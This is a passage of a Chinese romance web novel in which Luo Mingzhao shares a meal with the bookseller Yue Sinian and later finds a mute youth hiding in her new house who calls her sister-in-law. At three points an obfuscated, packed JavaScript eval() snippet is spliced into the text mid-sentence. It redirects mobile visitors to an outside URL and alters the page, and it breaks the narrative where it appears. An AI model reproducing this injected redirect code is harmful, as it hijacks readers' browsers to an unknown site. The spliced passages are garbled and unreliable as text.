“吃了。”越斯年顺从地答她的话,掩于袖中的手指轻轻摩挲着,方才想好的话在嘴边踱了几个来回。想对她说句谢谢,却又觉得她许是闹他玩儿,并不在意,若是她当真是闹他,郑重道谢倒显得是他太过惺惺作态。稍作踌躇,越斯年还是闷闷开口,“谢谢你,洛姑娘,很好吃。” 洛明昭笑了,眉眼之间倏尔变得温柔至极。 “斯年哥哥,那给你的契书可有看过?你觉得怎么样?” “斯年哥哥,我在这里稍微留一下就该走了。” “斯年哥哥,你这样一直坐着,不闷吗?” 洛明昭撑着小臂看他,目光炯炯,似是有说不完的话。 越斯年被她看得窘迫,偏开视线,她怎么有这样多的话要对他说。越斯年并不熟练地抿抿唇:“看过了,若洛姑娘需要这样多的黄纸。你我的确可以通力而为。” “那就留一下。” “不算太闷。” 听他用这种平静的语气应她的话,洛明昭心情大好,她觉察到他似乎也不再纠正她斯年哥哥的叫法了。 “那太好了。”洛明昭眉眼都弯起来,又开口道,“斯年哥哥,你吃午饭了吗?若是没吃的话,你我一同去吃李家汤饼可好?” 7. 热络 同越斯年先后走出结庐轩时,洛明昭还有几分不可置信。 他步子较她快了些,素袍缓带,身姿清瘦挺拔,洛明昭看着他,有些恍神。 见她落在身后并未挪步,越斯年迟疑着,定住步子转头看她,眸光中带了些疑惑。 洛明昭被他这视线看得回了神,急匆匆地凑到他身边,同他并肩而行。此前不觉,如今二人挨得这样近,洛明昭这才清晰地嗅到了他身上清淡的草木香与书香墨气。在这越发热闹的市井中,他的味道变得愈来愈淡。洛明昭余光望着他,几乎有种错觉,随便一阵风都能将他轻易吹散。 方才她问他,要不要同她一起吃汤饼。这话出口时就带了几分逗他的意思,她没想过他真的会答应。谁曾想越斯年却径直站起身来,朝她走了几步:“好,去吧。” 玉佩那句谢谢到底没说出口,既然她想吃饭,那就去吃饭,越斯年也不做他想。 还不待洛明昭追问,越斯年便温声开口:“洛姑娘既然已经开口,岂有不去的道理。” 回忆到这里,洛明昭用余光扫了眼身侧的少年郎。若她没记错,他也只长她三岁?怎就这般沉稳,当年的他似乎也没有这般寡言吧。两人这都走出多远了,他一句话也没说。 思及此处,洛明昭又向他身侧凑了几步,抬眸看他,温声询问道:“斯年哥哥,你吃辣吗?” 越斯年不动声色地走在外侧,听她这样问,垂眸思忖再三,开口道:“不怎么吃,但可以试试。” “斯年哥哥,这李家汤饼的芥辣粉鲜香至极,保准让人唇齿生香。”洛明昭侧了侧身子,歪着头看他,发间流苏随着她这样的动作轻晃,继而笑道,“吃过就忘不掉了。” 越斯年看着她,少女眸中带笑的表情是他从未见过的生动,她的发髻松了些,大抵是今天行路太多的缘故。一双杏眼似弯非弯,明眸皓齿,笑眼生花,脸颊泛着浅浅的红,整个人洋溢着鲜活雀跃的生机,让他想到了仲春时节破土而出的盎然绿意。竟让人有些挪不开眼,甚至想再靠近些。 忘不掉了吗? 越斯年偏过头,喉间微微一动,开口的声音有些发紧:“是吗?” “是啊,斯年哥哥!”得他应声,洛明昭窥见他眸子里的松动,不由自主握着他的袖子拽了拽,语气热络道,“李家汤饼是我最爱的食铺,斯年哥哥你就放心吧。” 被她蓦地拽住袖子,他下意识想要挣开她的手,那句于礼不合就在嘴边,可最终也没出口。只任她握着袖口一隅,耳尖微微发红。 李家汤饼铺。 兰娘的视线在洛明昭和越斯年身上逡巡一圈,见她亲昵表情和越斯年泛红的耳廓,露出过来人了然于心的笑。她也没多说什么,只笑道:“洛姐儿,今天也是老样子?” “嗯,老样子。”洛明昭向兰娘点了点头,“两份,一份芥辣轻些。” “得嘞。”兰娘招呼着她二人入座,“里面还有个空桌子,洛姐儿您两位坐那边。” 热腾腾的汤饼香气氤氲,几片羊肉置于表面,汤上浮了一层绿油油的葱花,芥辣粉混杂其中,闻起来颇有几分令人垂涎的滋味。 洛明昭握起筷子挑面,一口热腾腾的羊肉汤饼入腹,遑论今日有多倦怠,都被这般美味一扫而空。 “斯年哥哥,你寻常都吃些什么?” 食不言寝不语。 这是越斯年有记忆以来始终恪守的准则。越家世代大儒,越斯年的外祖是当朝不少肱股之臣的老师,舅父亲自参与前朝典籍的修撰,母亲与姨母更是出了名的才女双杰。虽如今越家凋零,越氏出身的他,却仍不失读书人的风骨。 后来寄人篱下,他鲜少同家里人一起吃饭。想说些什么都无人可说,久而久之,他也不想再说了。 越斯年放下刚刚握上的筷子,抬眸看她:“清粥、羹汤、浇头面。” 听着也有些太素了一点,怪不得瘦成这样,看上去也恹恹不乐的,吃不好怎么能有精气神呢?洛明昭不着声色地抿了抿唇,眼底漾出些许难掩的失落。 没等她开口,就听越斯年补充道,“其实还吃春笋、芥菜。” 他开口的话有些着急,像是要向她证明些什么,诸如自己过得并没有那么差,自己有许多想做或要做的事情,并没有那么可怜…… 并不需要她的怜悯。 “越家就剩你一个,我定会照顾好你的。” “不过是个无家可归的,白眼狼,别忘了是我了收留你,你才能活到今天的。” 脑海里倏尔略过许多画面,越斯年很怕听到些让他没办法回应的话。他动了动嘴唇,最终还是垂下眼睫再不言语,他盯着那绿油油的葱末,就像是他做错了什么。 “这样啊,那斯年哥哥口味恐怕很淡,这家芥辣粉吃过舌尖要发麻的,斯年哥哥可要慢些吃。”洛明昭轻笑道,她并齐筷子,对上他的眼神,低声咕哝道,“食不言寝不语,斯年哥哥。美食不待人,等我吃完再跟你细聊其他。” 她看出了方才的一切,但她并没有评判,只是将这一切轻轻掀过。她似乎并不在意什么食不言寝不语的规矩,可她依然那样随意脱口而出。 她是在顾虑他的感受。 越斯年说不清自己此刻究竟是什么感觉,就像是心脏被人很轻地捧在手心里。这种久违的感觉让他有些不知所以,但似乎并不讨厌。 他握起筷子尝了口那汤饼,果不其然,真的像她说的,很麻。舌尖像是被银针扎过,第一口下腹时,他觉得自己绝对没办法再吃第二口,可鬼使神差地,他并没有停下。 “好吃吗?” 待到一整碗汤饼都见了底,洛明昭眨了眨眼看着面前的人,眉目之间带了些微不可察的期待。 越斯年虽寡言少语却鲜少撒谎,虽然额头因初次尝辣而渗出细汗,但不可否认这汤饼确实鲜香美味。 “好吃。” 开口的声音有些喑哑。 洛明昭见状,连忙唤兰娘上了碗面汤。眼见他面色缓缓褪去红晕,两人付了汤饼钱,这才离开铺子。 又一次并肩而行,洛明昭眉目之间带了几分笑意,接着方才的话头继续道:“那我下次还能约你来吃吗?” 越斯年转过身看她,大抵是想说出几句拒绝。她对他太过热络,他向来不善应对这些,下意识就想逃开。 “斯年哥哥,我还有很多想带你吃的铺子。”洛明昭掰着指头自顾自说了起来,“松子糖铺、馄饨铺、临安还有那样多的好吃的……” 她话音默了默,扬起一抹有些勉强的笑,“所以啊,不要总说什么死不死的话,嗯?” 每每回想起去寻阿娘踪迹那日,洛明昭总觉五味杂陈。在得知阿娘康健无忧后,她甚为宽慰。除此之外,就是对越斯年那句“该死的是我”分外记挂。 纵使他不记得她了,他们二人也算是一起同生共死过的。那时候她双亲都不在左右,个子生得幼小,瘦弱的她纵使做男子装扮也显得不堪一击。万般绝望几乎要放弃的时候,是他不加顾虑就将她随手护在身边。不过萍水相逢,他对她却分外真挚,知道她要去临安,废了那么多力气把她送上了前往临安的游船。临行前握着她的手腕,字句恳切道:“活下去总有希望的。” 是他在离乱之中把她拉回了这人间,让她知道一切终究都会好起来的。如今不过几个年岁,他究竟是怎么了。她思来想去,还是觉得这人间的确很好。她也得让他知道,她希望他能够留下来,留在她身边。 越斯年并没有出声,洛明昭也不等他回应,兀自笑了起来:“斯年哥哥,我家里有个妹妹就要去学堂了,我在学堂读书的日子不多,总怕准备得不够妥当,可否托你帮我备一份束脩礼?” “可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371504|199930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”越斯年依旧走在外侧,他小心翼翼地望着身侧姑娘家的步伐,她走路并不十分稳重,步子也是大一步小一步,开心极了甚至蹦蹦跳跳的,这模样倒让他想起一个人。只是离乱之后天各一方,怕是很难再相见。 “斯年哥哥,你帮我解决了个大麻烦。”洛明昭皱了皱眉却眸中带笑,“你不知道,我每夜睡前都要仔仔细细想一想,我家孟陵还没学上,哦,孟陵就是我家小妹。” 这样轻声解释过后,她又继续喃喃道,“小妹是个开蒙的姑娘,入学后定不会随新入学的学子们一同读书,既如此,我要给先生备个怎样的束脩礼才好呢?想要找个人参谋,可思来想去也找不到一个合适的人选,左右都是些谋生之人,大多都没见过学堂长什么模样。” “斯年哥哥,谢谢你帮我。” 洛明昭说了这些便点到即止,她还得去给崔娘子送银钱,送完还要去扫一扫宅子,今儿的事情还很多,她可不能再和越斯年继续聊下去了。 走到桥头,洛明昭停了步子:“斯年哥哥,我要回去了,今天事情还挺多的。” 话毕,她向他摆了摆手。 她方才转身,身后忽而传来一声突兀的轻唤:“洛姑娘!” 洛明昭回眸,只见越斯年向前走出几步,垂在身侧的手腕蜷了蜷又徐徐舒展,他温声道:“那个,我最近也在找住处。恰巧听到牙婆提起你,她顺嘴一提说你通过她的介绍找了一处相当满意的地方。新房搬迁,事多繁杂,但凡有我能帮得上忙的地方,你……告诉我。” 洛明昭不可思议地望着他,良久后,轻轻上前半步用额头撞了撞他的小臂,再抬眸时,笑得眉眼都弯了起来:“我晓得了,斯年哥哥。” 越斯年不明所以地揉着手臂,神色微动:“这是?” “这是我跟孟陵学的,高兴极了撞撞小臂,表达的是喜欢与亲昵。” “原来如此。”越斯年垂下手,向她微微颔首后,指向桥尾的方向,“那我先回去了。” 甫一转身,他又回头道,“最近店里没什么人,你可以随时来找我……帮忙。” “斯年哥哥,回见!” 洛明昭心情因此而变得很好,以至于和孟念娘二人一同打扫新房时,她甚至开始手握掸子踩在长梯上清扫房梁,嘴里还哼着时兴的小曲儿。 孟陵眯了眯眼将洛明昭上下打量一遍,眉头微挑道:“洛姐姐,你也太高兴了。” 话音刚落,她就又补充了一句,“一定不止因为搬家的事。” “孟陵,我帮你把束脩礼的事情解决喽。”扫完廊道最后那方角落,洛明昭扶着梯子缓步而下,最后一个阶梯时她干脆直接跳了下来,“还有,这天蓝水清,春日临近,不仅能出门踏青,阁中的生意恐怕也会越来越好。这难道还不值得高兴吗?” “这么说来,值得高兴的事情果然有许多。”孟陵眉眼也弯了起来。 “行了,我们去前院看看念娘!”洛明昭将那长梯担在肩上,迈着大步就要往前走。孟陵跟在她身后,抬手用力垫了垫那长梯,试图减轻洛明昭肩头的重量。 “谢谢你,小孟陵。”洛明昭的声音听来依旧雀跃。 前院,孟念娘将那廊柱方才擦干净。她坐着正准备歇一歇,就听到后院那二人你来我往吵吵嚷嚷向她走来的声音。 她方才起身准备迎上前,就听到身后挂了锁的房间里传出一阵激烈的响动,那声音听来是瓷物坠地之声,紧接着又像是桌椅的碰撞声。 孟念娘被这声音惊厥,不自觉后退两步,她轻拍胸脯稳住身形,这才沉下呼吸,怒呵道:“谁在那儿!” 洛明昭和孟陵踏进前院时,就听到孟念娘这一声怒斥,不待二人询问。那房间里又传来了声响,这声音很容易分辨,就是寻常的拍门声。 不过是门内的人,在请门外的人为其开门。 8. 哑巴 听到这样有些骇人的声响,洛明昭连忙放下梯子三步化两步行至廊道中。握着孟念娘的手将她护在身后,拍了拍她的小臂宽慰:“没事,别怕,门还锁着呢,没事的。” 话毕,就听那拍门声又一次响了起来。 咚咚咚—— 刺耳的声音在寂静的院落之中显得格外突兀,身后跟来的孟陵不自觉地抓紧了洛明昭的裙摆,怯生生开口道:“洛姐姐,这房子不是空了有大半年吗?这……这动静是人……” 话音未落,孟陵又轻轻吞了吞口水,“是人……还是鬼啊?” “小陵,休得浑说。”孟念娘随即接道,“这世间哪里来的鬼呢?” “这里的确很久没人住过了,我们打扫的时候不也看到了这满地的灰。”洛明昭沉了心绪,银钱都已经给这崔娘子送去了,那些银钱都是她一朝一夕辛辛苦苦开店赚来的。迎来送往、簪钗打样、购置、寻匠人,每个流程她都亲力亲为,好不劳神费力。就算这房子当真有鬼,那这鬼今儿也得给她们三人腾地方。 思及此处,洛明昭心一横,怒从胆边生,这鬼也太没道理,偏挑着她们这妇人家与小姑娘欺负,好没本事。若是报官细查,待到官兵查验明白至少都得明日,今儿一天就算是白白浪费了。想到这里,洛明昭径直走向径道外尽头处,握紧角落生了灰的长竹杖,在手中稍作掂量,眼见就要从腰中取出钥匙去开房门。 见她模样,孟念娘与孟陵也明白了。这里从即日起就是她们三人的家,即便是有鬼那又如何,打跑了就是。 孟念娘从一旁的厨房中取了把带锈的菜刀。而孟陵则将那笤帚紧紧握在手里,二人跟上洛明昭的动作。 “明昭,你开门吧。”孟念娘的语气阴恻恻地,加之她握着那刀时的动作,倒显得有几分滑稽。 “洛姐姐,你不害怕,我也不害怕。”孟陵也紧了紧手中的笤帚,暗自点点头,像是给自己鼓劲。 见二人如此,洛明昭心中那仅存的些许恐惧也瞬间烟消云散。她从腰间取出钥匙,钥匙插进锁孔,咔哒一声,那久掩的房门就被洛明昭推开。 房门摔在墙上发出很大的声响,洛明昭立刻将手中竹棍握得紧紧的,视线在屋中逡巡一圈,忽而看到了仰面朝天躺在地面上的那人。 远远看上去似乎是个少年郎,并未穿襕衫,是一件看起来材质如同麻衣般的劲装,墨色长发高束铺于地面,脸却背对洛明昭三人,看不清容貌。 “那……那就是发出声响的……人吗?”孟陵自她身后探出头来,眨了眨眼看着地面上一动不动的人。 “这……是死是活啊?”孟念娘如今才后怕起来,若是尸体一具,她们不还是惹上了人命官司。况且,这人若当真是具尸体,方才怎得发出了那样大的声音。犹豫不决间,她视线挪向了身前的洛明昭。 洛明昭也被这幅场景吓得一激灵,她沉下心抬眸扫了眼房中陈设。这大抵是间书房,一旁的上好青瓷被人撞落在地,四分五裂碎得凄凉,不远处有凳子歪歪斜斜倒在地面,地面上还落着一条被撕坏的纱织绸带。 将这一切收入眼中,洛明昭心里对事情全貌有了几分猜测。用手中的竹棍遥遥地戳了戳那地上躺尸的人,可他纹丝不动。 但这一戳,倒将这少年郎的底细戳了个分明。 洛明昭轻笑一声,转身在孟念娘和孟陵身上手中物件滚了两个来回,最终将手中棍子交给孟念娘,握上她手里生了锈的菜刀,轻声道:“我过去看看情况。” 孟陵闻言,一把拽住洛明昭:“洛姐姐!” 孟念娘也带着挂切望着她。 “没事没事,我手里这是开了刃的。”洛明昭向二人眨了眨眼睛,“我啊,从小最爱跟在阿娘身后杀鸡杀猪了,这菜刀使得最好了。” 话毕就像那地上的人走去,待到看清他的面容时。洛明昭干脆掀起裙摆单膝跪地,动静颇大地将手中的刀在地面上敲了敲。 果不其然,那人眼皮颤了颤。 见状,洛明昭也不多说,抬眸向孟念娘点了点头,又对孟陵开口道:“阿陵,把那条绸带给我拿过来好吗?” “哦,行。”孟陵没读懂洛明昭和孟念娘方才眼神之中的意味,但洛明昭既然叫她帮忙,她当然是义不容辞的。 孟陵握着自己手中的笤帚噔噔噔跑到角落将那绸带拾起来,又小跑着将其递给洛明昭:“给,洛姐姐。” “多谢你,阿陵。” 孟念娘此时也凑近了些,三人几乎以半包围的姿态将地面上那人围了起来。 洛明昭接过绸带,也不多言,干脆利落地将那人的两只手按在一起,孟念娘二人对视一眼,明白了洛明昭的意思,也帮忙将地上的人捆了起来。 洛明昭从前鲜少做这种事情,捆人的手法也不娴熟,最后将绸带捆成了一个巨大的疙瘩。 地面上的少年郎从头到尾都没任何动静。 洛明昭盯着他,忽而嗤笑一声:“喂,你还要装到什么时候?” 这话一出,孟念娘与孟陵也明白了些什么。 那人喉间滚了滚,显然是装不下去了。但依旧没有睁眼,执意要闭着眼睛装死。 三人都看到了他这样明显的动作。孟念娘看了眼孟陵,眸中带笑眨了眨眼,孟陵立刻了然于心,拉着洛明昭俏生生开口道:“洛姐姐,这好看哥哥是不是死了呀?要不然我们给他拉出去埋了吧?放在家里臭了怎么办?” “阿陵说得有道理。”洛明昭也笑了起来,故意开口道,“这么沉的大男人,我们三个估计很难把他拉出去啊。不然这样,我先把他的胳膊和脑袋卸了,我们三个分工合作,这样也快些,你觉得怎么样?” 说着,洛明昭就要做出一副要动手的声响。 地面那人果然惊魂未定地睁开了眼睛,他眸中带着浓浓的不可思议,仔细看来还有几分谴责意味。双手被洛明昭三人捆在身前,挣扎着要起身却没能起来,眉眼因过分用力皱在一起,嘴唇张了张,却没能发出任何声音,最终又像死鱼一样躺回原地。 “嗯?”洛明昭退后几步,细细打量他。 那人觉察到洛明昭的目光,抬了抬被缚住的双手,像是示意她给他解开。 “你想干嘛?”洛明昭蹲下身看着他。 那人又扬了扬手。 “解开这个吗?” 那人眨了眨眼。 “洛姐姐,他怎么不说话?”一旁的孟陵也蹲着打量地面上的人。 “该不会是个哑巴?”孟念娘温声开口,语气里染上几分同情,“看着年纪轻轻,怎么就哑了?” 洛明昭垂下眼睫看向地面那人,温声询问:“你是个哑巴?” 那人似是格外羞耻,用力地挤了挤眼皮。 “怪不得摔了我一房的东西也没喊一声救命。既然这样,估计你也没法解答我们的问题了。”洛明昭思忖良久,“会写字吗?” 又眨了眨眼。 “明白了。”洛明昭轻声笑了,“那我给你解开?” 他重重地点了点头。 孟陵见洛明昭话已至此,就知道这人恐怕并没有自己想象那般危险。在他又一次鲤鱼打挺试图让自己坐起来时,孟陵扔了笤帚,在他身后推了他一把。 得了借力,他总算是坐起身来。 洛明昭守诺,正要上前为他解开了双手,便被孟念娘拦下,她挽着洛明昭的小臂压低声音:“明昭,他一个三尺男儿,出现在这里,谁知道他安的什么心思,不能就这样轻易放开。” “念娘,若他真有恶意,就不会在我们开门时故意装死了。况且,他刚刚分明醒着却还是任我们给他捆起来,估计是听到了我们廊道中的话,怕吓着我们才故意为之。”洛明昭拍了拍孟念娘的手,无奈轻笑,“念娘,不解开的话,他一个哑巴,能说出什么啊?” 孟念娘这才轻叹一口气,这才松了手。 洛明昭顺势走向前,给他解了手上的束缚,指了指一旁的书桌,开口道:“在那儿写,我问你答,成吗?” 那人点点头。 洛明昭带着他走向书桌,掀开覆布,开始寻找笔墨纸砚。抽屉里摆着一摞黄纸,毛笔桌面放着一支,残墨半截,笔搁和镇纸摆得凌乱但还在桌面,倒是砚台却不见了踪迹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371505|199930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正寻着,就见那人有些不好意思挠了挠头,大跨步向前走去,在房间的角落里拾起了砚台。 敢情是他亲手扔了的,怪不得没找到。 一切准备就绪,洛明昭问他:“你叫什么?家住何方?为何会来到这里?” 那人抬眼看了洛明昭一眼,呼出一口气。抬腕开始动作,那字迹看得洛明昭三人眉头微蹙,孟陵眨了眨眼,却还是没能看清楚。 动作倒是凌厉,但写出来的东西生疏难看,像是洛明昭当初才学写字时的笔迹。 “什么……白。”洛明昭不知道该摆出什么表情。 “洛姐姐我看看。”孟陵凑上前,“感觉像是晏字,晏白?” 那人捕捉到这句,连忙点点头。 “你叫晏白?”洛明昭点点头,似是了然于心,继续道,“你还没回答完我的问题。” 孟陵直接凑在桌边,帮洛明昭转达晏白的意思。 “不……知……道。”孟陵逐字逐句念出来,“洛姐姐,他说不知道。” “不知道?!”一旁沉默观察许久的孟念娘听了这句,终于再按捺不住心头无名鬼火,出声怒道,“你平白无故出现在我们三人的家里,你现在说你不知道?” 洛明昭连忙上前拍了拍孟念娘安抚她的情绪,紧接着追问道:“我们要把你送到哪里去?你一个哑巴,就这样放你走吗?” “先……不……去。” “那你是谁家的公子?” “季。” “能说来处不说去处,有意思,那我们直接报官好了,请官差裁定。”洛明昭转身就要离开,“也省得这般麻烦,还要阿陵从中转达。” “……能……说……”孟陵抬起眼睫,拉了拉洛明昭的袖子,“洛姐姐,他说能说。” “那你要去哪里?” “云……家……或者……这后面的字看不清了。”孟陵看不明白他那串鬼画符的解释究竟是什么,之前就有几分辩不出来,如今季晏白心一急,手下的动作愈发没有轻重,就算是孟陵也再认不出来了。 “云家?”洛明昭有些诧异,她也靠过来凑近些,“你去云家做什么?哪个云家?” 难不成这人与云尔蓁有什么牵连或瓜葛吗? 不,绝对不可能。洛明昭几乎瞬间否决了这个想法,自从她和云尔蓁相逢以来便常常聚头,别说是心上人这种事情,就是前几日早晚用的什么饭都恨不得告诉对方。 若是这人与云尔蓁有交集,蓁蓁该告诉她的啊? 难不成! 这人看似是个好人,实际上却是个人面兽心,恋慕蓁蓁而不得,最终决定行不轨之事的登徒子。 是了,这套房子最开始还是蓁蓁和牙婆崔氏谈妥的,的确有这个可能。今日幸好是她们三个人在这里,若当真是蓁蓁一个人,还不晓得要发生什么呢? 蓁蓁是云家的独女,家中资产丰厚,她又得家中宠爱,若与蓁蓁结亲的确能够飞上枝头。 洛明昭越想越觉得合理,心中免不得有怒意翻涌。这男子也太过阴险,居然一开始还扮做一副善意模样。若当真爱慕蓁蓁,合该堂堂正正追求,偏要使这些下三滥的手段。 不行,还是得报官。 “洛姐姐,这后面的字写的像是嫂嫂。”孟陵喜出望外开口道,“我就说我能认出来的。” “嫂嫂?!”洛明昭不可置信开口道,“什么嫂嫂?” 她下意识转头看向孟念娘,挑眉询问:“念娘,你认识他吗?” 孟念娘看着季晏白的眼神几乎要喷出火来,乍然听此问,她还是坦诚地摇了摇头:“不认识,从没见过。” 季晏白的眼神投向洛明昭,他点点桌面试图引起她的注意,拿着那张纸挥了挥,又指了指洛明昭。 “你说我?”洛明昭长呼一口气,险些要被这荒谬的一切逗笑了,她从季晏白手中接过那张纸,“该不会是阿陵认错了吧?” 洛明昭将那纸握在掌心,待到看清那纸上字迹时,刹那间便眉头紧锁,带着震惊的语气将那男子写在纸上的话复述了一遍。 “嫂……嫂?” 9. 修书 这两个字骤然落下,近乎余音绕梁般在洛明昭耳畔过了几个来回。 洛明昭还没来得及反应,倒是一旁的孟念娘腾一下从洛明昭身后窜了出来,她粗鲁地扯着季晏白的袖子,咬牙切齿道:“明昭,还跟这登徒子废什么话!拐弯抹角说了些好没名堂的,平白无故青天白日里污人未出阁的姑娘名节,合该交给县尊!打他二十大板,让他尝些苦头。” 季晏白被她扯得从椅上站了起来,他面色灰白,抬手拽住身侧的洛明昭的袖子,眼神带了几分恳求,狼狈间又指了指那桌上的纸。像是还有话要说。 见他模样,洛明昭惊魂方定,虽有些微恼,但却没有孟念娘那般愤慨。她上前半步握上孟念娘的手腕将她拦了下来,稍一思忖,拉着孟念娘与孟陵二人行至角落,唇角溢出一丝笑,压低声音正准备将自己的计划合盘托出,忽而听得大门被人叩响。 听这响动,洛明昭不知来人是谁,却还是止了话音,小跑至院中打开了房门。 时至傍晚,天色几分晦暗。 结庐轩的摊子早早收了回来。阿江将今日未卖出的书册整齐划一地摆放于书架上,清点数目过后,再准备上一批新书。 来人脚步匆匆踏门而入,见店里只有阿江,便俯首秉礼轻唤一声:“小兄弟。” 闻声,阿江快步从后层书架里走了出来,见来人身着仁和县公服,连忙迎上前:“尉官要些什么?” “敢问越坊主可在?”那人语气有些急促,“县尊寻越坊主有要事相商,事关重大耽搁不得,还请小兄弟找越坊主来。” “这……坊主在后室修书,尉官稍等片刻,小的这就去知会坊主。” 言毕,阿江健步如飞穿过层层书架,行至内间后室,轻叩房门道:“坊主,县尉来找您,说有要事相商,此刻正在厅中侯着呢。” 越斯年方才用裁刀将黄纸切割分明,烛火之下,那纸张的模样总算是与要修的集子别无二致。忽而听得门外此声,怔了怔:“阿江,请尉官稍等片刻,就来。” 将一切暂且搁置,越斯年收好襻膊,起身整理仪容这才稳步走出了房门。 “越坊主。” “尉官,敢问您亲自前来有何贵干?” 那县尉左右观望,见阿江在不远处理书,想来是听不到二人说话的。 见他动作,越斯年知晓这事恐怕私密。引路道:“尉官自府衙而来,不如在后间坐一坐歇歇脚?” 县尉宽慰至极,随越斯年在房中落座,将房门掩了,这才压低声音对越斯年道:“越坊主,是行在所之事,离乱之年,文化亦不可废。官家月前得了批前朝典籍,却因战乱损毁严重,其中有批来自兰溪的书目,最为珍贵,损坏也最严重。官家下令修补此类藏书,于各地寻能修此书之人。县尊知道坊主是兰溪越家后人,世代精于校勘一学,特请坊主听候官家应召,待至明年夏,欲举坊主赴行在所任校书郎。” “越家的藏书?”听了这话,越斯年的心绪忽而变得有些沉重。越家的事情对他来说已经久远到像是前世一场黄粱梦,也对,他是越家的后代,修补越家藏书的重任落在他身上似乎也是理所应当。但…… “若我并不想去呢?”越斯年抬眸看向那县尉,目光沉静,并无一丝波澜。 县尉不明白,得了官家应召,后半辈子荣华富贵想来就不用愁了,如何还需要经营一家如此寒酸的书坊?这送上门的荣耀岂有推拒之理啊?可面前这个清瘦的书生却这样义正辞严地拒绝了。 “这是何故啊?越坊主?”县尉向来为人耿直,说话也总是所思即所言,“若坊主替官家办好了这件差事,此后吃穿不愁,何需再经营这样一家小小书坊呢?况且那些书是兰溪越家的典籍,说不定还有坊主幼时读过的书目呢?” “尉官此言不假。”听了这话,越斯年并未恼怒,倒是眉眼轻垂,“只是我越家上下因这藏书而亡,我不想再去修这些东西徒增烦恼罢了。是我的错,并非藏书之过。” 越家,护书三万册离兰溪,族中之人因此被屠戮殆尽,爹娘兄长,表亲远族。如今在这世上,越斯年的亲人只余一个,那便是及笄之后远嫁的姨母越伊人。 忽闻此言,县尉这才收起那副大大咧咧的模样。兰溪距临安尚远,县尉对兰溪越家灭族一事却一无所知,但不安定的时候,典籍被毁是常有之事。 战乱来临时,会有人将一册册书目看得比自己的性命还要重要,为护书而殒命。县尉不知这兰溪越家又是怎样,可那惨状他也能想象一二。虽不解个中缘由,但他尊重这些临危不惧的世家风骨,看到面前这位寡言的坊主,他也带了几分爱屋及乌般的敬重。 “既如此,我便去回禀县尊。那就不叨扰越坊主了。”那县尉拱了拱手,略显遗憾地望了越斯年一眼,却没再说什么,起身拉门,快走几步离开了结庐坊。 天色越来越沉,待到暮色将至,疾风骤来,将门窗吹得吱呀作响。 阿江锁了坊门,缩了缩脖子同越斯年告别:“坊主,明日见。” “明日见。”越斯年向他扬唇笑了笑,正欲回书坊后院,却冷不防地想起了洛明昭。 许是今日提起了那批兰溪藏书和旧人之事,越斯年第一次有了这种令人难以自控的愁绪。 只余他一个人的书坊,有些太过寂静了。 迈出去的步子又缩了回来,在院里走过一个来回。胸口堵得发涩,忽而有些想见她。 如果洛明昭在的话,大抵会说些没来由的话,让人听了心口微微发暖。可夜色渐沉,这种时候去寻她,孤男寡女,恐伤她名节。 一阵惊雷劈开天穹,忽而刮起了瓢泼大雨,垂柳被吹得左右摇曳。不知谁家的灯笼坠了地,早已失了往日颜色,泥泞不堪地滚落在街角。 城郊宅邸内。 “他的意思是,他是越斯年的弟弟。” 云尔蓁坐直了身子,将目光从季晏白方才写的那张纸挪至洛明昭处。 听了她这话,季晏白激动地直眨眼。洛明昭的视线不可思议地在二人之间扫了一遍,颇为惊讶地笑了:“蓁蓁,真没想到,你可以啊!” 一个时辰前。 知道洛明昭这几日就要搬家,云尔蓁忙里抽闲从酒楼事务中挣了出来,她先去了点春阁,见后院落锁,便知三人是来这城郊府邸了。随后她又火急火燎地赶往城郊,得了巧,正遇到洛明昭三人在审这个不知来处的哑巴。 房门一开,洛明昭见来人是她,便匆匆开了话闸:“蓁蓁,你来了!我跟你说,我们刚刚在房里遇到个怪人,是个从天而降的哑巴,还装死装傻骗我们,我们三个正愁不知该怎么办呢,你就来了。” 说着,二人就到了书房。 一推房门,只见孟念娘动作浮夸地捏着那人的下巴,欲把手中的帕子塞进他嘴里,细看他的手腕竟又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371506|199930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被绑住了,只不过绑得草率。身侧的孟陵拉着孟念娘的袖子劝道:“阿娘,你冷静些……阿娘,这是个活人……阿娘……” 而那季晏白被孟念娘这行云流水般的动作按在原地动弹不得,见洛明昭回来,这才手脚并用地挣扎起来。 云尔蓁随后踏入房门。 电光火石间,季晏白像是瞥到了她,再不动作,只呆滞在原地。而云尔蓁也在一瞬间眉头微蹙,视线落在那个被整得很狼狈的少年郎身上。四目相对,她的震惊不像假的,也堪堪停在原地看着季晏白:“你说什么?” 洛明昭一进门就去拦孟念娘,待到她终于稳定了孟念娘的情绪,这才注意到身后一动不动的云尔蓁。 